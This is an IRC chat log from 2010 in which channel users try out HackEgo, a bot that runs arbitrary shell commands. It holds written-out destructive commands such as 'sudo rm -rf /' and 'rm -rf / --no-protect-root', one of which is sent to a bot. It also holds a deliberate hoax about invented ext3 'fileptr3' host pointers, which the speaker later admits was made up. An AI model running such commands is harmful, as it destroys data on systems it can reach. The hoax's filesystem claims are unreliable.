< 1267460021 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :The washer in the house is broken but the dryer works fine. Every morning, I just wash what I need >.> < 1267460061 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Nothing special, just Monday morning. < 1267460073 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Have you tried PURE CAFFEINE? < 1267460110 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :`quote < 1267460111 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :70| Gregor is often a scandalous imposter. It's all the hats, I tell you. < 1267460114 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`help < 1267460115 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ < 1267460115 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: also < 1267460117 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :`quote oklopol < 1267460118 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :48| i can get an erection out of a plank, you can quote me on that. 50| < 1267460123 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :there is a ... sort of search. < 1267460132 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :`run quote oklopol < 1267460133 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :48| i can get an erection out of a plank, you can quote me on that. 50| < 1267460135 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Is HackEgo secure? < 1267460136 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: oh, I just scammed BlogNomic back into existence; we'd been playing a different nomic for the last 4 years, but it just took one blog post (not even a proposal) to fix it < 1267460141 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka: no, you could root it if you wanted < 1267460143 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :please don't < 1267460148 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: wow, what happened? < 1267460150 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :scarf, linky? < 1267460151 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1267460158 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :i just wanted to do, uh < 1267460161 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :run sudo rm -rf / < 1267460165 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :http://blognomic.com/archive/the_switch_never_happened/ < 1267460166 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :with an ` at front < 1267460200 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka: Please don't. < 1267460205 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's an honour system bot. < 1267460209 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :as in? < 1267460210 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You can do whatever you want. < 1267460213 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :but? < 1267460217 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: I thought it had protection against that sort of thing < 1267460219 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But please don't abuse it. < 1267460221 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: nope < 1267460223 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :for one thing, how would you enter the sudo password? < 1267460225 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267460230 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :!sh sudo rm -rf / < 1267460236 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :you mean `run < 1267460236 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/tmp/input.18678: line 1: sudo: command not found < 1267460237 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I know EgoBot is protected against that < 1267460238 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: you can easily elevate to root. also, that's egobot not hackbot < 1267460245 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: yep < 1267460251 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :scarf, you really really mean `run < 1267460254 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: can't you always revert such a change? < 1267460262 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: not necessarily < 1267460265 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run ls < 1267460266 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ help.txt \ hentai \ huh \ paste \ poetry.txt \ porn.jpg \ quotes \ share \ test.sh \ tmpdir.18724 < 1267460267 0 :daef!unknown@unknown.invalid PRIVMSG #esoteric :scarf: rm -rf / --no-protect-root < 1267460268 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka: I was testing out a different bot, which was protected < 1267460270 0 :daef!unknown@unknown.invalid PRIVMSG #esoteric :works better < 1267460271 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :daef: I know < 1267460273 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run rm porn.jpg < 1267460274 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267460277 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :but I normally omit that last bit < 1267460284 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :TRI-F TIME < 1267460301 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :What's this about protecting root? < 1267460316 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_, tree huggers going insane! < 1267460318 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that's what < 1267460325 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`help < 1267460325 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ < 1267460333 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`cd / < 1267460335 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267460338 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`ls < 1267460339 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ help.txt \ hentai \ huh \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.18973 < 1267460347 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :`cd / && ls < 1267460347 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267460348 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka, it doesn't keep that state < 1267460352 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, need run < 1267460354 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :can i remove one more thing < 1267460355 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :`run cd / && ls < 1267460356 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ dev \ etc \ home \ lib \ lib64 \ proc \ tmp \ usr < 1267460363 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka: sure. < 1267460369 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :we allow one destructive change. just takes a few hours to put back < 1267460375 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1267460388 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :go for it < 1267460407 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run rm -r hentai < 1267460408 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267460411 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`ls < 1267460412 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.19164 < 1267460415 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oh my god, you removed the vital file < 1267460420 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That was the core system file for the sandbox < 1267460420 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :I said < 1267460423 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :"TRI-F TIME" < 1267460425 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :What the fuck man < 1267460428 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ugh < 1267460428 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :TRI-F being FAMILY FRIENDLY FILTER < 1267460435 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Shut down the bot please, it's exposed < 1267460443 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka: You realise that now that's removing files on /Gregor's hard disk/? < 1267460451 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`file * < 1267460451 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hentai was the pointer to the outer system. < 1267460452 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :You said "one destructive change" < 1267460452 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :*: ERROR: cannot open `*' (No such file or directory) < 1267460456 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1267460473 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`run file * | tr '\n' '-' < 1267460474 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka: Yes, but not catastrophic change < 1267460475 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin: directory-cube2.base64: ASCII text-cube2.jpg: JPEG image data, JFIF standard 1.01-help.txt: ASCII text-huh: ASCII English text-paste: directory-poetry.txt: ASCII text-quotes: directory-share: directory-test.sh: ASCII text-tmpdir.19248: directory- < 1267460481 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err? < 1267460481 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :How could I know it'd be so catastrophic < 1267460485 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :`run echo "This is a file." > porn.jpg < 1267460485 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`run file * | tr '\n' '|' < 1267460486 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267460486 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin: directory|cube2.base64: ASCII text|cube2.jpg: JPEG image data, JFIF standard 1.01|help.txt: ASCII text|huh: ASCII English text|paste: directory|poetry.txt: ASCII text|quotes: directory|share: directory|test.sh: ASCII text|tmpdir.19310: directory| < 1267460487 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :maybe < 1267460489 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :`ls < 1267460489 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that works better < 1267460490 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ paste \ poetry.txt \ porn.jpg \ quotes \ share \ test.sh \ tmpdir.19376 < 1267460490 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :You could name it "TOTALLY_UNIMPORTANT_FILE_ROTFLMAO" < 1267460508 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka: You could have looked at the file before deleting it. < 1267460520 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I guess we just won't have HackEgo any more, then, if people can't be trusted with it < 1267460528 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :You mean: I can't be trusted with it < 1267460533 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`run file * | tr '\n\t' '| ' < 1267460534 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin: directory|cube2.base64: ASCII text|cube2.jpg: JPEG image data, JFIF standard 1.01|help.txt: ASCII text|huh: ASCII English text|paste: directory|poetry.txt: ASCII text|porn.jpg: ASCII text|quotes: directory|share: directory|test.sh: ASCII text|tmpdir.19427: directory| < 1267460534 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :just block me from doing anything harmful and you're ok < 1267460536 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :er? < 1267460542 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err* < 1267460544 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka: We prefer people to be responsible, usually. < 1267460557 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`ls < 1267460558 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ paste \ poetry.txt \ porn.jpg \ quotes \ share \ test.sh \ tmpdir.19470 < 1267460561 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`cd / && ls < 1267460563 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267460580 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :what's happened? < 1267460581 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run cd / && ls < 1267460582 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ dev \ etc \ home \ lib \ lib64 \ proc \ tmp \ usr < 1267460584 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`cat poetry.txt < 1267460585 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :A Poem -- Roses are red, violets are free. In Soviet Russia, you love me. < 1267460599 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: I accidentally removed the mislabeled most vital file on gregor's hard drive < 1267460603 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Happy? < 1267460610 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`cat porn.jpg < 1267460610 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :This is a file. < 1267460613 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Wait, guys < 1267460618 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Is there no UNDELETE on this system < 1267460622 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :COME ON, EVEN MS-DOS HAD IT! < 1267460661 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Is this ext2 or ext3 < 1267460677 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, see /msg < 1267460680 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka shut up < 1267460700 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`run mount | tr '\n' '|' < 1267460701 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :rootfs on / type rootfs (rw)|none on /sys type sysfs (rw,nosuid,nodev,noexec)|none on /proc type proc (rw,nosuid,nodev,noexec)|udev on /dev type tmpfs (rw,size=10240k,mode=755)|/dev/disk/by-label/PRGMRDISK1 on / type ext3 (rw,errors=remount-ro,data=ordered)|tmpfs on /lib/init/rw type tmpfs (rw,nosuid,mode=755)|tmpfs on /dev/shm type < 1267460734 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`cal < 1267460735 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :March 2010 \ Sa Su Mo Tu We Th Fr \ 1 2 3 4 5 \ 6 7 8 9 10 11 12 \ 13 14 15 16 17 18 19 \ 20 21 22 23 24 25 26 \ 27 28 29 30 31 \ < 1267460771 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :`run mount | tail -n 2 | tr '\n' '|' < 1267460772 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :proc on /var/chroots/egobot/proc type proc (rw)|/sys on /var/chroots/egobot/sys type sysfs (rw)| < 1267460777 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267460788 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka: gregor's an op here you know < 1267460795 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you'll prolly be banned he doesn't like people abusing hackego < 1267460800 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :What? < 1267460801 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :especially when it affects the host machine < 1267460806 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :You told me i can do one destructive change < 1267460810 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :You didn't specify anything else! < 1267460813 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :` head /dev/urandom > sex.jpg < 1267460814 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes, i didn't think you'd try that one. < 1267460814 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267460821 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Actually I assumed it's YOUR bot < 1267460823 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :/usually/ people have some kind of discretion < 1267460823 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :`run head /dev/urandom > sex.jpg < 1267460824 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267460829 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka: no. i do have root access to it though < 1267460830 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise what happened < 1267460832 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :`cat sex.jpg < 1267460833 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267460875 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION decides to end asiekierka's suffering
< 1267460879 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :noooo! < 1267460880 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Yay! < 1267460884 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`yes < 1267460885 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y \ y < 1267460885 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Wait < 1267460885 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: don't restore the files < 1267460887 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :what does that mean? < 1267460890 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it'll break it < 1267460894 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the file is symbolicly defined < 1267460897 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka, you fail at reading < 1267460900 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ie a pointer to the host machiine < 1267460901 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is what alise means < 1267460909 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so you'll overwrite the drive if you write to hentai again < 1267460910 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`echo $PATH < 1267460911 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :$PATH < 1267460915 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :-_- < 1267460918 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :oh, deleting a symlink isn't particularly problematic < 1267460919 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Ok, n/m < 1267460920 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`echo "$PATH" < 1267460921 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :"$PATH" < 1267460929 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: but it's not a symlink < 1267460933 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's a fileptr3 < 1267460936 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i.e. an ext3+ field < 1267460947 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :containing symbolic references to the filesystem it's embedded in < 1267460948 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, what about the magic symlinks in /proc that points to inodes or something? < 1267460951 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`sudo apt-get install cowsay < 1267460952 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267460959 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :rather than actual files. (if the file is open but deleted) < 1267460960 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`ls < 1267460961 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ paste \ poetry.txt \ porn.jpg \ quotes \ sex.jpg \ share \ test.sh \ tmpdir.20271 < 1267460965 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Uh-oh < 1267460968 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: /proc has a separate filesystem just for that < 1267460970 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :FAMILY FRIENDLY FILTTtttt---*ban* < 1267460974 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`cowsay lol < 1267460975 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267460982 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka: stop being a jerk < 1267460982 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :What's a cowsay? < 1267460985 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, true. But it is somewhat confusing. The semantics I mean < 1267460996 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION needs to attend to clothing stuff now >.>
< 1267461002 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :F³?# < 1267461006 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :s/#// < 1267461015 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: yeah < 1267461045 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, ext3+? < 1267461046 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :F₃₌ too, though < 1267461055 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :for the equalising properties in the host fileptr3 < 1267461070 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :`run file sex.jpg < 1267461071 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :sex.jpg: empty < 1267461074 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hentai was F₃⁺, so the safety features are off (so that a direct pointer could be made) < 1267461078 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, see /msg < 1267461085 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: that fix won't work < 1267461092 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :!bf ,[.,]!`run X='!bf ,[.,]!`run' echo $X "X='$X'" < 1267461104 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :F₃⁺s don't have the Ωγ-base property < 1267461105 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :umm, EgoBot? < 1267461112 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: shit, it must have overwritten that segment too < 1267461113 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, no, but upgrade to ext4+. Or did they rename it ext5 yet? < 1267461122 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :EgoBot is jealous that everyone hax0rs HackEgo but nobody touches EgoBot < 1267461125 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: well i wouldn't do anything without Gregor telling me to < 1267461127 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :...unlike asiekierka < 1267461128 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION sighs
< 1267461137 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION shgis
< 1267461150 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i think he's being a real dick not taking this seriously < 1267461156 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :any objections to me just banning him now? < 1267461156 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :who? < 1267461158 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka < 1267461170 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :No < 1267461171 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, you have op nowdays? < 1267461174 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1267461177 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I should be scared < 1267461180 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hehe < 1267461180 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :assqueerska < 1267461188 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i'd only actually use it against real abusers, like asiekierka < 1267461193 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :suuure < 1267461212 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION sets a ban on asiekierka (Egregious abuse of EgoBot; ^expiry=never)
< 1267461219 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka: just thought you might like to know < 1267461222 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :EgoBot? < 1267461226 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :everything since I said it wasn't protected < 1267461230 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :including by other people < 1267461234 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :is a complete crock of shit < 1267461236 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, s/EgoBot/HackBot/ < 1267461239 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Your gullibility knows no limits! < 1267461244 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: HackEgo, not EgoBot < 1267461250 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: hey since when do you have ops < 1267461254 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :and mine :D < 1267461258 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: that was the last piece of the gullibility puzzle duh < 1267461261 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I beleive anything ehird says < 1267461263 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1267461263 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :My notice to asiekierka wasn't a crock of shit < 1267461280 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: what did you say < 1267461287 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :/notice asiekierka You are aware that porn.jpg isn't actually a necessary file, right? < 1267461288 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(note: depending on the answer i may not not lynch you) < 1267461297 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Yes, it is < 1267461298 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ok, I won't not not lynch you < 1267461302 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Don't lie, Sgeo_ < 1267461381 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_, he didn't read what was actually said above, he only have himself to blame for that < 1267461405 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :we can't ask asiekierka how much he actually believed now because of course he'll say none of it :) < 1267461411 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :I did < 1267461414 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :In fact, I did < 1267461419 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Until Sgeo told m < 1267461420 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :e < 1267461422 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1267461423 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :But hey, this was fun! < 1267461427 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Let's have such a party again! >D: < 1267461428 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :err, >:D < 1267461430 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : `help < 1267461431 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ < 1267461433 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :porn.jpg wasn't the thing we were talking about < 1267461434 0 